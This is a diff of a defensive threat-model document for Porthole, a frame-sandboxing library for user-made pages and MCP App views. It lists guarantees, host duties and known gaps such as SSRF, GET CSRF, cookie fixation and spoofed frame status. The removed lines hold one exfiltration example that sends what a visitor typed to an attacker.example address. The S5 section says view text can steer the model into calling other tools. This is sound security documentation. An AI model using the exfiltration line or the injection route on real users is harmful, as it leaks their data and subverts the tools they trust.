418
+ names no host: it hears no one, Porthole tells no parent anything, no capability or runtime host
419
+ function runs, and no door is minted. The flag is signed into the session and the sealed address.
420
+ Every other session's answers are byte for byte what the server without `embeds` answers, even
421
+ while an embed session of the same artifact exists; cookies stay host-only. The host kit never
422
+ mints one from `access` (its issue endpoint and clean addresses refuse it, P145).
423
+ - A page opened in a tab of its own has its frame's powers and no more (P099). Its CSP header
606
424
  carries the frame's sandbox (scripts on its own origin; no popups, forms, downloads, browser
607
- dialogs, or navigation of another window, its opener's included), and its `Permissions-Policy`
608
- header denies what the frame's `allow` doesn't grant (camera, microphone, location, full
609
- screen, passkeys, payments, sharing, the built-in AI models, and every other feature a frame
610
- lacks by default). The shell adds its own walls there, the only ones on engines that don't apply
611
- that header (WebKit, Firefox): `window.open` answers null; picture-in-picture windows, devices,
612
- location, full screen, passkeys, the share sheet and payments (Apple Pay too) are refused at
613
- once; and its navigation guard stops the page navigating itself away, by `location` (set,
614
- `assign`, `replace`), a link, `navigation.navigate()` or `open(…, "_self")`. The last three ask
615
- the guard's rule before they start (WebKit sends a link's and `navigate()`'s request otherwise),
616
- read the address once, and read it through the platform's own functions, so a page can't
617
- hand them one address to check and another to go to; a link, in a shadow root too, is followed
618
- by the shell as it was when clicked, never by the browser as a later listener left it.
619
- `defineHostConformance`'s `served.domain.tab-*` cases check it through the host's real edge.
425
+ dialogs, or navigation of another window, its opener's included). Its `Permissions-Policy` denies
426
+ what the frame's `allow` doesn't grant (camera, microphone, location, full screen, passkeys,
427
+ payments, sharing, the built-in AI models, and every other feature a frame lacks by default). The
428
+ shell's own walls, the only ones on engines that don't apply that header (WebKit, Firefox):
429
+ `window.open` answers null; picture-in-picture, devices, location, full screen, passkeys, the
430
+ share sheet and payments (Apple Pay too) are refused at once; its navigation guard stops the page
431
+ navigating itself away by `location` (set, `assign`, `replace`), a link, `navigation.navigate()`
432
+ or `open(…, "_self")`, with no way to have one address checked and go to another (a link, in a
433
+ shadow root too, is followed as it was when clicked; how: DESIGN.md § "Served content, each with
434
+ its test"). `defineHostConformance`'s `served.domain.tab-*` cases check it through the host's real
435
+ edge.
620
436
 
621
437
  **The host must**
622
-
623
438
  - Add what Porthole doesn't have: a notice that the page is user-made (an interstitial), a way to
624
439
  report it, and a takedown process.
625
440
  - Keep public grants at `view` or without a level. Porthole sets no ceiling: a public grant may
626
441
  carry any level, up to `owner`, and a `user`, and then the page has a viewer at that level.
627
442
  - On pages shared with signed-in people, not offer `db` writes and `user`, or gate them with
628
443
  `consent` or `confirm` (their defaults are rates only: 600 and 60 a minute).
629
- - Rate-limit the issue endpoint (`rateLimit`: optional, per process). An anonymous request is
630
- keyed by an address the client can't set (P092): the socket's peer through Porthole's Node
631
- adapter, `CF-Connecting-IP` on Workers. Anywhere else, or behind proxies, every anonymous request
632
- shares one limit unless you set `rateLimit.trustedProxies` (how many proxies append to
633
- `X-Forwarded-For`; only where the app is reachable through those proxies alone) or
634
- `rateLimit.key`.
444
+ - Rate-limit the issue endpoint (`rateLimit`: optional, per process). An anonymous request is keyed
445
+ by an address the client can't set (P092): the socket's peer through Porthole's Node adapter,
446
+ `CF-Connecting-IP` on Workers. Anywhere else, or behind proxies, every anonymous request shares
447
+ one limit unless you set `rateLimit.trustedProxies` (only where the app is reachable through those
448
+ proxies alone) or `rateLimit.key` (ADOPTING.md § 4, "The server").
635
449
  - Check pages for secrets before publishing them: `lintContent` has no rule for credentials.
636
- - Pass Porthole's `Content-Security-Policy` and `Permissions-Policy` headers on as they are,
637
- through any edge or proxy: on a tab they are the page's sandbox.
450
+ - Pass Porthole's `Content-Security-Policy` and `Permissions-Policy` headers on unchanged through
451
+ any edge or proxy: on a tab they are the page's sandbox.
638
452
  - For embeds (P143): mint `embed` from one route of yours alone (never a reader's ticket or door;
639
- with the host kit, `host.server.issue`, never `access`, which it refuses, P145), keep that route
640
- from widening grants, and blank a takedown within a bound you state (your `authorize` answers,
641
- cached or not). The embedding site sees the page load and hears what the page itself posts to its
642
- parent or top. The page learns where it is embedded (P145, measured in Chromium, Firefox and
643
- WebKit): its document's request carries your outer page's address as `Referer` (its origin, under
644
- the default referrer policy; Firefox also sends it as `Origin`, Chromium and WebKit don't),
645
- `document.referrer` says the same,
646
- and `location.ancestorOrigins` names every ancestor, the embedding site's origin included. A page
647
- with any egress (a `connect-src`, an image source) can send that out; one with none can't. Treat
648
- where an embed is shown as known to its author.
453
+ with the host kit, `host.server.issue`, never `access`, P145), keep that route from widening
454
+ grants, and blank a takedown within a bound you state (your `authorize` answers, cached or not).
455
+ The embedding site sees the page load and hears what the page posts to its parent or top. The page
456
+ learns where it is embedded (P145, measured in Chromium, Firefox and WebKit): its request's
457
+ `Referer` names your outer page (its origin under the default referrer policy; Firefox also sends
458
+ `Origin`), `document.referrer` says the same, and `location.ancestorOrigins` names every ancestor,
459
+ the embedding site included. A page with any egress (a `connect-src`, an image source) can send
460
+ that out; one with none can't. Treat where an embed is shown as known to its author.
649
461
  - Treat a public link's clean address as a tab's (P125): to show what one names in a frame, resolve
650
462
  it through your issue endpoint (`client.resolve`, `<PortholeView address>`). Its refusals (signed
651
- out, denied, not found) are your backend's word, drawn as the fallback with no frame built: keep
652
- that endpoint's answers as honest as its access decision, since a `blocked` there is yours, not
653
- Porthole's door's.
463
+ out, denied, not found) are drawn as the fallback with no frame built; a `blocked` there is your
464
+ backend's word, not the door's, so keep those answers as honest as the access decision.
654
465
 
655
466
  **Not guaranteed**
656
-
657
- - In a browser without the Navigation API (older Safari and Firefox releases), a page opened in
658
- a tab can navigate itself away with data in the address (`location = "https://attacker.example/?"
659
- + whatTheVisitorTyped`): the shell's guard gets no events there, and a tab has no embedding page
660
- whose `frame-src` would stop it. It can also go to a `blob:` document it wrote itself, where
661
- the shell never runs: the CSP and its sandbox carry over, the `Permissions-Policy` header and
662
- the shell's walls don't (WebRTC is there, and a granted location). No CSP directive closes
663
- either (P099, accepted). A host that must cover such browsers shows public pages in its own
664
- frame.
665
- - `db` and `user` reach the author without any network: what viewers write, and `user.get()`'s
666
- `{ id, name, level }`, the page can read and keep in `db`. Closed egress doesn't cover a channel
667
- the host itself provides. Give `id` a per-artifact pseudonym (`pseudonymFor`), and decide what
668
- `name` says.
467
+ - In a browser without the Navigation API (older Safari and Firefox), a page opened in a tab can
468
+ navigate itself away with data in the address: the shell's guard gets no events there, and a tab
469
+ has no embedding page whose `frame-src` would stop it. It can also go to a `blob:` document it
470
+ wrote, where the shell never runs: the CSP and its sandbox carry over, the `Permissions-Policy`
471
+ and the shell's walls don't (WebRTC is there, and a granted location). No CSP directive closes
472
+ either (P099, accepted). A host that must cover such browsers shows public pages in its own frame.
473
+ - `db` and `user` reach the author without any network: the page can read what viewers write, and
474
+ `user.get()`'s `{ id, name, level }`, and keep it in `db`. Closed egress doesn't cover a channel
475
+ the host provides. Give `id` a per-artifact pseudonym (`pseudonymFor`), and decide what `name`
476
+ says.
669
477
  - Phishing ([§5](#5-out-of-scope)).
670
478
 
671
479
  ### S5. Third-party MCP Apps
@@ -673,42 +481,36 @@ the attacker (c), and its readers are strangers.
673
481
  `presets.mcpApp` through `/mcp`: a view from an MCP server the host doesn't control (b).
674
482
 
675
483
  **Porthole guarantees**
676
-
677
- - Porthole implements the host side itself, with one hardened frame: by default an opaque frame
678
- with the shell's defenses first in the view's document; with `isolation: "domain"`, behind the
679
- sandbox proxy on a content origin.
484
+ - Porthole implements the host side itself, with one hardened frame: by default an opaque frame with
485
+ the shell's defenses first in the view's document; with `isolation: "domain"`, behind the sandbox
486
+ proxy on a content origin.
680
487
  - The view's declared CSP becomes its egress: `connectDomains` to `connect-src`, `resourceDomains`
681
488
  to scripts, styles, images, fonts and media. Only exact origins (https or wss; http and ws on
682
489
  loopback only) and `*.` wildcards over a domain are taken; a wildcard over a single label or a
683
490
  public suffix Porthole knows, and anything else, is dropped. `frameDomains` and `baseUriDomains`
684
491
  are ignored. Served, the proxy's CSP comes from what the session carries, signed, never from a
685
492
  message.
686
- - The default gates are stricter than the spec's "MAY": `callTool` needs a confirmation and has a
687
- rate (30 a minute), `sendPrompt` and `openLink` a gesture and a confirmation. For a view, the
688
- gesture check is the host's (the shell doesn't speak for an MCP view).
493
+ - Default gates stricter than the spec's "MAY": `callTool`, `sendPrompt` and `openLink` each need a
494
+ confirmation, at 30 a minute (S1). A gesture check a host names is the host's alone (the shell
495
+ doesn't speak for an MCP view).
689
496
 
690
497
  **The host must**
691
-
692
- - Send the page's `frame-src`, as for every display.
693
- - Show the person the domains a view declares before mounting it (`readViewResource(…).egress`
694
- and `viewEgress()` give them; the spec says hosts SHOULD warn). Porthole has no prompt for it.
498
+ - Show the person the domains a view declares before mounting it (`readViewResource(…).egress` and
499
+ `viewEgress()` give them; the spec says hosts SHOULD warn). Porthole has no prompt for it.
695
500
  - Route `callTool` only to the view's own server, and refuse the tools the view may not call
696
- (`_meta.ui.visibility`): that is the host's `callTool` handler's decision alone.
501
+ (`_meta.ui.visibility`): the host's `callTool` handler alone decides that.
697
502
  - Keep `setModelContext`'s `show` gate. The React provider shows each update whole outside every
698
- frame (`ContextNotice`); a host's own `show` must show it whole too. Opt out
699
- (`withoutShow: true`) only where the handler itself puts the text in front of the person, or the
700
- content is the host's own (P100).
503
+ frame (`ContextNotice`); a host's own `show` must too. Opt out (`withoutShow: true`) only where
504
+ the handler itself puts the text in front of the person, or the content is the host's own (P100).
701
505
  - Keep `callTool`'s confirmation. If the host's confirm says yes by itself and a view polls a tool
702
506
  more often than every 2 s, give `callTool` its own `gates` with a rate: they replace the default.
703
507
 
704
508
  **Not guaranteed**
705
-
706
- - Declaring is allowing: what the person sees or types in the view may go to its
707
- `connectDomains`.
509
+ - Declaring is allowing: what the person sees or types in the view may go to its `connectDomains`.
708
510
  - Code from `resourceDomains` runs in the frame (still isolated).
709
- - Model context (`ui/update-model-context`) is shown before it goes, but showing isn't reading:
710
- text the person let pass can still steer the model into calling other tools, which the gates on
711
- the view's own calls don't catch. The manual's words (the content's unconfirmed text, never
511
+ - Model context (`ui/update-model-context`) is shown before it goes, but showing isn't reading: text
512
+ the person let pass can still steer the model into calling other tools, which the gates on the
513
+ view's own calls don't catch. The manual's words (the content's unconfirmed text, never
712
514
  instructions) are the second wall (P100, accepted).
713
515
  - The public suffixes Porthole refuses wildcards over are its own short list, not the whole PSL.
714
516
 
@@ -717,7 +519,6 @@ the attacker (c), and its readers are strangers.
717
519
  `presets.url`: a running app (a dev server's preview) framed by its URL (d).
718
520
 
719
521
  **Porthole guarantees**
720
-
721
522
  - Isolation: the app runs on a content origin, never the host's, in a frame with
722
523
  `sandbox="allow-scripts allow-same-origin allow-forms"`. A host may add popups (and popups that
723
524
  escape the sandbox), modals and downloads; top navigation never.
@@ -725,652 +526,382 @@ the attacker (c), and its readers are strangers.
725
526
  session; the viewer can't change it.
726
527
  - Porthole's own cookies are removed before a request reaches the host's `upstream` (HTTP), and
727
528
  before the Node adapter hands a WebSocket to the host's `appSocket`.
728
- - The app's cookie opens it only for its own origin (`Origin`, or `Sec-Fetch-Site` `same-origin`
729
- or `none`) and for a navigation that opens it (GET or HEAD); anything else another origin sends
730
- is a 403 before the upstream. A WebSocket opens from its own origin only: `content.access`, which
731
- the Node adapter asks before `appSocket` and a Worker asks on its own upgrade path (P101).
732
- - `proxyTo`, Porthole's HTTP relay (pass it as `upstream`), also rewrites the headers:
733
- - requests go with `redirect: "manual"`;
734
- - `Host`, hop-by-hop headers, `X-Forwarded-*`, `Forwarded` and `X-Real-IP` are dropped;
735
- - an `Origin` or `Referer` naming the content origin is rewritten to the app's; any other goes
736
- as sent, so an app that checks `Origin` sees a foreign one.
529
+ - The app's cookie opens it only for its own origin (`Origin`, or `Sec-Fetch-Site` `same-origin` or
530
+ `none`) and for a navigation that opens it (GET or HEAD); anything else another origin sends is a
531
+ 403 before the upstream. A WebSocket opens from its own origin only, through `content.access`,
532
+ which the Node adapter asks before `appSocket` and a Worker asks on its own upgrade path (P101).
533
+ - `proxyTo`, Porthole's HTTP relay (pass it as `upstream`), also rewrites the headers: requests go
534
+ with `redirect: "manual"`; `Host`, hop-by-hop headers, `X-Forwarded-*`, `Forwarded` and
535
+ `X-Real-IP` are dropped; an `Origin` or `Referer` naming the content origin is rewritten to the
536
+ app's, any other goes as sent (so an app that checks `Origin` sees a foreign one).
737
537
 
738
538
  **The host must**
739
-
740
539
  - Preview only code it trusts: the app gets no shell and no egress control (P020).
741
540
  - Refuse, in its `instance` callback, upstream addresses it doesn't mean (loopback, private
742
541
  networks): Porthole takes any http(s) URL, and the client's proposal is untrusted (SSRF).
743
- - In a relay of its own, rewrite the headers as `proxyTo` does
744
- (`upstreamHeaders.request(headers, { origin, target })`). A WebSocket relay that takes the
745
- access from `content.access(request)` gets the browser's whole `Cookie` header, Porthole's
746
- cookies included: send the app the headers `upstreamHeaders.request(…, { websocket: true })`
747
- makes (Porthole's cookies removed, the upgrade's own headers kept).
542
+ - In a relay of its own, rewrite the headers as `proxyTo` does (`upstreamHeaders.request(headers, {
543
+ origin, target })`). A WebSocket relay that takes the access from `content.access(request)` gets
544
+ the browser's whole `Cookie` header, Porthole's cookies included: send the app the headers
545
+ `upstreamHeaders.request(…, { websocket: true })` makes (Porthole's cookies removed, the upgrade's
546
+ own headers kept).
748
547
  - Keep previews off pages with displays that read data (S7).
749
- - Expect a served (domain) display's `blocked` from two sources only (P125): its door, or, before
750
- any frame, your own issue endpoint's refusal (`sign-in`, `denied`, `not-found`). Neither is the
751
- previewed app's word; a url-mode app's frame status still is (above), so never put a preview's
752
- outcome in the same place in your UI as a served display's.
548
+ - Never put a preview's outcome in the same place in your UI as a served display's: a served
549
+ display's `blocked` comes only from its door or your issue endpoint (P125), a url-mode app's from
550
+ the app.
753
551
 
754
552
  **Not guaranteed**
755
-
756
553
  - The app's network is its own.
757
- - The app's word about how it loaded is its own: it shares its origin with Porthole's entry page
758
- and status pages and has no shell to speak first, so it can make the display's `outcome` any
759
- `blocked`, with any code, and the host show its fallback ("open this in a new tab to sign in")
760
- with a link out of the page (P124). A host that previews code it doesn't trust words that
761
- fallback as its own, not as Porthole's or the person's sign-in.
554
+ - So is its word about how it loaded. It shares its origin with Porthole's entry page and status
555
+ pages and has no shell to speak first, so it can make the display's `outcome` any `blocked`, with
556
+ any code, and the host show its fallback ("open this in a new tab to sign in") with a link out of
557
+ the page (P124). A host that previews code it doesn't trust words that fallback as its own, not as
558
+ Porthole's or the person's sign-in.
762
559
  - A page on another origin can still open the app by a navigation (a link, a frame of its own),
763
560
  which reaches the app's GET routes as any link does.
764
- - A request with neither `Origin` nor `Sec-Fetch-Site` goes on: in browsers without fetch
765
- metadata (Safari before 16.4, older Chromium and Firefox) a sibling's GET subresource carries
766
- the app's cookie (GET CSRF, script-shaped responses); POSTs are still refused, by `Origin`. The
767
- app's own script can set a non-`HttpOnly` `__Host-porthole-<key>` where none exists: fixation
768
- with a session it holds (P101).
769
- - Through `proxyTo`, `True-Client-IP` and `CF-Connecting-IP` reach the app as the client sent
770
- them.
561
+ - A request with neither `Origin` nor `Sec-Fetch-Site` goes on: in browsers without fetch metadata
562
+ (Safari before 16.4, older Chromium and Firefox) a sibling's GET subresource carries the app's
563
+ cookie (GET CSRF, script-shaped responses); POSTs are still refused, by `Origin`. The app's own
564
+ script can set a non-`HttpOnly` `__Host-porthole-<key>` where none exists: fixation with a session
565
+ it holds (P101).
566
+ - Through `proxyTo`, `True-Client-IP` and `CF-Connecting-IP` reach the app as the client sent them.
771
567
  - The app is a sibling of every other content origin, with no CSP of Porthole's beyond
772
568
  `frame-ancestors`: S3's cookie problems are easier from here.
773
569
 
774
570
  ### S7. Several displays on one page
775
571
 
776
- **The rule: a page's egress is the union of its frames' egress.** Any frame can `postMessage`
777
- any other frame on its page, and nothing inside a frame can stop it. So what one display was given
778
- can be handed to the display with the widest network.
572
+ **The rule: a page's egress is the union of its frames' egress.** Any frame can `postMessage` any
573
+ other frame on its page, and nothing inside a frame can stop it, so what one display was given can
574
+ be handed to the display with the widest network.
779
575
 
780
576
  | Beside a display that reads the host's data or holds what the person types | |
781
577
  | --- | --- |
782
578
  | Closed egress, or Porthole's libraries | Fine. |
783
- | `LIBRARY_CDNS` | Fine for ordinary data. Every request path to its nine origins is a narrow channel read by their operators: not for highly sensitive data. |
579
+ | `LIBRARY_CDNS` | Fine for ordinary data, not for highly sensitive data: every request path to its nine origins is a narrow channel read by their operators (S2). |
784
580
  | An MCP view with `connectDomains` | Its domains become the page's. |
785
581
  | `anyHttps` | No: any image URL is a way out. |
786
582
  | url mode | No: the app's network is its own. |
787
583
 
788
- - Porthole doesn't enforce this: `defineDisplays` takes any kinds together, and
789
- `frameSources` is the union of all of theirs. Group displays by page yourself.
790
- - Where another app frames yours (`framedBy`, P141, P144), the page is the outer page's, and its
791
- frames are in the union too: content can post to the outer page and to every frame in its tree.
792
- The outer page's own frames, and their network, are its authors' to group, and its listeners must
793
- check `event.source` and `event.origin` (§6 "What every host must do").
584
+ - Porthole doesn't enforce this: `defineDisplays` takes any kinds together, and `frameSources` is
585
+ the union of all of theirs. Group displays by page yourself.
586
+ - Where another app frames yours (`framedBy`, P141, P144), the outer page's frames are in the union
587
+ too; grouping them is its authors' job, and its listeners must check `event.source` and
588
+ `event.origin` (§6 "What every host must do").
794
589
  - An opaque frame also inherits the page's own CSP, so a strict page narrows its opaque frames
795
590
  further (P058). A served frame has only its own policy.
796
591
 
797
- **What sharing a scope costs, which Porthole does not stop** (the premise is a scope its author
798
- controls — one person's artifact and its versions, one session's widgets — not a scope shared across
799
- people who distrust each other). A scope's displays that aren't nested share one origin and run
800
- content there with `allow-same-origin`, so one reaches another's document (`top[i]`) and its storage.
801
- P125 stops a sibling speaking Porthole's word for another display (its door says how loading went,
802
- unreachably), but a sibling of the scope can still, against another display of it:
803
-
804
- - spend its three restarts (`MAX_RESTARTS`) by reloading or wiping it, so its outcome is a
805
- `timeout` or, once the restarts run out, `blocked: error` (a fallback, no link) the person may
806
- read as the display's own. It always has an outcome: restarts don't start its clock again (one
807
- `loadTimeoutMs` per loading episode, from its first run until an outcome), and a frame stopped
808
- after its restarts is `blocked: error` (found by Cato on WebKit during P125: before, it was
809
- stopped with no outcome at all, an empty box);
810
- - deface it — rewrite its document — since they share an origin;
592
+ **What sharing a scope costs, which Porthole does not stop.** The premise is a scope its author
593
+ controls (one person's artifact and its versions, one session's widgets), not one shared by people
594
+ who distrust each other. A scope's displays share one origin and run content there with
595
+ `allow-same-origin`, so one reaches another's document (`top[i]`) and its storage. The door stops a
596
+ sibling speaking Porthole's word for another display (P125), but a sibling can still, against
597
+ another display of its scope:
598
+
599
+ - spend its three restarts (`MAX_RESTARTS`) by reloading or wiping it, so its outcome is a `timeout`
600
+ or, once they run out, `blocked: error` (a fallback, no link) the person may read as the display's
601
+ own. It always has an outcome: restarts don't restart its clock (one `loadTimeoutMs` per loading
602
+ episode, from its first run until an outcome), and a frame stopped after its restarts is `blocked:
603
+ error`;
604
+ - deface it (rewrite its document), since they share an origin;
811
605
  - read a sandbox-proxy view's HTML once the host has sent it into the view.
812
606
 
813
- These are the costs of putting displays an author controls in one scope. To deny them, put displays
814
- that distrust each other in **different scopes** (different origins), or nest them (`nested: true`),
815
- whose shell and page a sibling can't reach (P114). What a sibling cannot do is forge Porthole's own
816
- fallback (a sign-in prompt with a link out): that is the door's wall (P125).
607
+ To deny these, put displays that distrust each other in **different scopes** (different origins);
608
+ there is no other way (P149). What a sibling cannot do is forge Porthole's own fallback (a sign-in
609
+ prompt with a link out): that is the door's wall (P125).
817
610
 
818
611
  ## 7. The display layer and the app runtime
819
612
 
820
613
  ### The display layer
821
614
 
822
615
  What it is: the presets, the isolation, the egress walls, the shell, the bridge for the display's
823
- host functions (`sendPrompt`, `openLink`, `downloadFile`, `copyText`, `callTool`, `readData`,
824
- `subscribeData`, `setModelContext`, `reportError`, annotations, find in page) and the generated
825
- manual.
616
+ host functions (S1's table, annotations, find in page) and the generated manual.
826
617
 
827
618
  **Porthole guarantees** the two lines of [§4](#4-two-lines-of-defense) for each display except url
828
- mode (S6), with S1–S5's open items: isolation, closed egress, the gates. One config generates the
829
- CSP, the sandbox, the shell's wiring and the manual, and a test holds them in agreement
830
- (`test/agreement.test.ts`), so the agent is told what the sandbox allows. The leak suite tests each
831
- wall on three engines, and `defineHostConformance` runs it against a host's own page.
832
-
833
- **The host must** do what [every host](#what-every-host-must-do) does, write the handlers (their
834
- effects are its own), and group displays by page (S7).
835
-
836
- **The host's fallback** (P040, P124). A display's `outcome` says how its frame loaded, and a host
837
- draws its own UI on a `blocked` one, in Porthole's wording (`frameFallback`: "Open this in a new
838
- tab to sign in", "You can't open this anymore") with a link out of the page: UI the person takes
839
- for the host's and Porthole's, which content must not be able to summon. A `blocked` comes from a
840
- frame status (`porthole/notifications/frame-status`), and nothing in that message says who sent
841
- it: Porthole's status pages are documents of the frame's own window and origin, as content is. So
842
- the host takes one only where content can't have said it. **A served display that isn't nested** (a
843
- served shell, a page, a view through the sandbox proxy) is framed on its scope's origin, where the
844
- scope's others run content with `allow-same-origin`: one of them reaches a new document there before
845
- its first script runs and could speak for it, so **no frame status from its own frame is ever
846
- taken** (each run, the first is dropped with one `frame-status` host error), and its silence is a
847
- `timeout`, never a fallback. Its word comes from its **door** instead (P125): a page of Porthole's
848
- on the same origin, in a hidden opaque frame of the host's own (`sandbox="allow-scripts"`, no name,
849
- `inert`, 0×0) that no content shares an origin with and no sandboxed sibling can navigate, taken
850
- before the content frame is made — `open`, or `blocked` and why. A **nested page's shell** (on a
851
- label of its own, P114) keeps the ordering rule (its runtime's word opens every document that holds
852
- content). An **opaque frame**'s every status is the content's; a **url-mode app**'s is taken (S6).
853
-
854
- This closes the audit of 2026-10-30 (P124-1): before P125, a served display that isn't nested could
855
- be spoken for by a same-scope sibling — the sibling reached a new document of its scope (`top[i]`,
856
- same origin before the shell ran), posted a frame status taken as the run's first word, or stopped
857
- or rewrote it so its silence read as `framing`, or reloaded a running one into a new run it spoke
858
- first in. The door closes every route: the sibling can't read, navigate or speak from it (it is
859
- opaque, unnamed, host-sandboxed), and the content frame's own word and silence are no longer taken.
860
- P124-2 is closed too: a file set's entry must be a page (`.html`/`.htm`; `checkFileSet`,
861
- `admitFiles`, `lintFiles` refuse another), and a set stored before that rule answers Porthole's
862
- `not-found` status page — the door says `not-found`, never an inert file that says nothing.
863
-
864
- The known costs that remain are the costs of sharing a scope (S7). A served non-nested location
865
- without a door (a server older than the host, a locator that drops it, a clean address framed as it
866
- is) is refused before any frame: `blocked: locate` and a `door` host error (P125). A clean address
867
- is for a tab: in a frame the content origin answers it with a page that has no script and goes
868
- nowhere, never the app's authorize or sign-in. To show what a clean address names in a frame, the
869
- host resolves it through its issue endpoint first, and a refusal there (signed out, denied, not
870
- found) is the display's outcome with no frame built. P125 also records why no timing rule can stand
871
- in for that: a `load` event is not a committed document (DECISIONS P125).
872
-
873
- **Annotations** (`annotate`, P053, P104, P107). The shell that draws marks and reports anchors shares
874
- its realm with the content (a nested page's too: its marks are drawn by the runtime in the page's
875
- own frame, below the shell, P111), so:
876
-
877
- - *What content learns.* Everything the host sends in a `show` is posted into the frame's window,
878
- where the content can listen: each mark's id, anchor and, where given, `count` (the number on
879
- its marker). A host gives ids that say nothing (never a person's name or a comment's words), and
880
- a count only where the page may know how many there are. Who commented and what they wrote stay
881
- in the host's own UI, outside the frame, and so does what the person types there, within the
882
- keyboard's limits below (P109).
883
- - *Drafts* (P107). A mark with `kind: "draft"` (a comment its author hasn't posted) is drawn apart,
884
- a dashed line and a hollow marker with no number, so the page also learns which of its marks are
885
- drafts: that the person viewing it is writing a comment there, before they post it. That is new
886
- information for the page, accepted where the page has no way out: drafts are the host's to send
887
- only to their author's own frame (Porthole can't tell whose frame it is), the page is the one
888
- being commented on and already sees where the person selects (`selected`), and closed egress
889
- ([§4](#4-two-lines-of-defense)) keeps it off the network. Closed egress doesn't cover the
890
- channels the host itself opens, and through them a draft's existence, place and timing can
891
- leave: a page with the runtime's `db` (writes) and `user` can call `user.get()`, read the marks
892
- shown to it, and write "viewer A is drafting at section 3" where its author and other viewers
893
- read it before A posts; once A posts, the page can tie that posted comment to A (the anchor and
894
- the time match). Origins a config declares for egress (an MCP App's `connectDomains`, S5; an
895
- `egress` a host opened in its own config; the `liveWidget` preset itself has none, P103), and a
896
- host function that sends the page's words somewhere, are channels of the same kind (S4, and the
897
- app runtime below). A host that sends drafts to such a page accepts that its author and other viewers can
898
- learn of them. A draft carries nothing else: the host drops its count before the frame (control
899
- `draft-count`), so a page can't read how many drafts are at an anchor unless the host sends a
900
- mark per draft, and its id is the host's, as any mark's (random, never the draft's words); the
901
- draft's words are typed into the host's composer, which the page can try to take the keyboard
902
- from ("The keyboard" below). A host
903
- that sends drafts into a frame others see (a shared screen, a frame several viewers share) tells
904
- that page, and anything it draws for them, what its author hasn't posted.
619
+ mode (S6), with S1–S5's open items. One config generates the CSP, the sandbox, the shell's wiring
620
+ and the manual, and a test holds them in agreement (`test/agreement.test.ts`), so the agent is told
621
+ what the sandbox allows. The leak suite tests each wall on three engines; `defineHostConformance`
622
+ runs it against a host's own page. **The host must** do what [every host](#what-every-host-must-do)
623
+ does, write the handlers (their effects are its own), and group displays by page (S7).
624
+
625
+ **The host's fallback** (P040, P124, P125). On a `blocked` outcome the host draws its own UI in
626
+ Porthole's wording (`frameFallback`: "Open this in a new tab to sign in", "You can't open this
627
+ anymore") with a link out of the page. The person takes it for the host's and Porthole's, so content
628
+ must not be able to summon it. A frame status (`porthole/notifications/frame-status`) doesn't say
629
+ who sent it: Porthole's status pages are documents of the frame's own window and origin, as content
630
+ is. So a `blocked` is the word of a page of Porthole's server, a gateway or the host's own pages,
631
+ never of an opaque frame or of content in a frame that speaks:
632
+
633
+ - **A served display** (a served shell, a page, a view through the sandbox proxy) shares its scope's
634
+ origin with content that runs with `allow-same-origin` and can reach a new document there before
635
+ its first script runs. So **no frame status from its own frame is ever taken** (each run, the
636
+ first is dropped with one `frame-status` host error: a display trying to speak as Porthole), and
637
+ its silence is a `timeout`, never a fallback. Its word is its **door**'s: a page of Porthole's on
638
+ the same origin, in a hidden frame of the host's (`sandbox="allow-scripts"`, no name, `inert`,
639
+ 0×0) that shares an origin with no content and that no sandboxed sibling can navigate, read before
640
+ the content frame is made (`open`, or `blocked` and why). A sibling can't read, navigate or speak
641
+ from it. No timing rule can stand in for it: a `load` event is not a committed document.
642
+ - A `blocked` before any frame (`sign-in`, `denied`, `not-found`) is the host's own issue endpoint's
643
+ refusal, mapped by `createHost`: the host's backend's word, as trustworthy as that endpoint.
644
+ - An **opaque frame**'s every status is the content's. A **url-mode app**'s is taken, so it can say
645
+ any outcome (S6).
646
+ - A served location without a door (a server older than the host, a locator that drops it, a clean
647
+ address framed as it is) is refused before any frame: `blocked: locate` and a `door` host error.
648
+ Upgrade the server or Worker first, and resolve clean addresses through issue (S4). In a frame, a
649
+ clean address gets a page with no script that goes nowhere, never the app's authorize or sign-in.
650
+ - A file set's entry must be a page (`.html`/`.htm`; `checkFileSet`, `admitFiles` and `lintFiles`
651
+ refuse another). A set stored before that rule answers Porthole's `not-found` status page.
652
+
653
+ What remains are the costs of sharing a scope (S7).
654
+
655
+ **Annotations** (`annotate`, P053, P104, P107; mechanism and the control proving each point:
656
+ [DESIGN.md](DESIGN.md) § Annotations). The shell that draws marks and reports anchors shares the
657
+ content's realm.
658
+
659
+ - *What content learns.* All of each `show`: every mark's id, anchor and any `count`. Give ids that
660
+ say nothing (never a person's name or a comment's words), and a count only where the page may know
661
+ how many there are. Who commented and what they wrote stay in the host's UI outside the frame, as
662
+ does what the person types there, unless the page takes the keyboard.
663
+ - *Drafts* (P107). A `kind: "draft"` mark is drawn apart: the page learns its viewer is writing a
664
+ comment there before they post it. Accepted where the page has no way out: the host sends drafts
665
+ only to their author's own frame (Porthole can't tell whose frame it is), the page already sees
666
+ where the person selects, and closed egress keeps it off the network. Any channel the host opens
667
+ carries a draft's existence, place and timing: `db` writes with `user` (a page can record "viewer
668
+ A is drafting at section 3" for its author and other viewers before A posts, then tie A's posted
669
+ comment to it), declared egress (an MCP App's `connectDomains`, an `egress` the host opened;
670
+ `liveWidget` has none, P103), or a host function that sends the page's words somewhere. A host
671
+ that sends drafts to such a page accepts that. A draft carries nothing else: its count is dropped
672
+ before the frame (the page can't count drafts at an anchor unless sent a mark per draft), and its
673
+ id is the host's (random). Drafts sent into a frame others see (a shared screen) tell that page,
674
+ and what it draws for them, what their author hasn't posted.
905
675
  - *What content can fake.* Any report: a selection while the host asks for one, where marks are,
906
- and a marker's click (`activated`) for any mark the host shows with a marker (a count, or a draft:
907
- P107), without a click on it and with any box. It can draw look-alike markers, or lay its own elements over Porthole's.
908
- The host takes each report only for what it asked for and its own shown ids, rebuilt within
909
- `ANNOTATION_LIMITS`, at 120 a minute; `activated` for a mark without a marker, or an id it
910
- doesn't show, is dropped (negative control `annotation-activated`). `activated` is also taken
911
- only while the host's page has transient user activation, which a real marker click or tap gives
912
- it (P105, measured on all three engines; control `annotation-activated-gesture`). That stops a
913
- page opening the host's view with no gesture at all, nothing more: activation lasts 5 s after any
914
- gesture anywhere on the page (a click on the host's own UI, typing in the content, the click that
915
- opened the display), and a fake posted then, on a timer or a scroll, is taken; one posted on the
916
- person's own press in the content lands under their pointer. The guard on the host's view (§6) is
917
- the defence, not this. Where the platform can't tell (a custom one whose `userActivation()`
918
- answers undefined), the report passes, as the gesture gate does.
919
- - *Labels.* An anchor's `label` is the page's text: the words selected, or an element's own words,
920
- else its `alt`, `aria-label` or `title`, which the person never sees on the page. The host takes
921
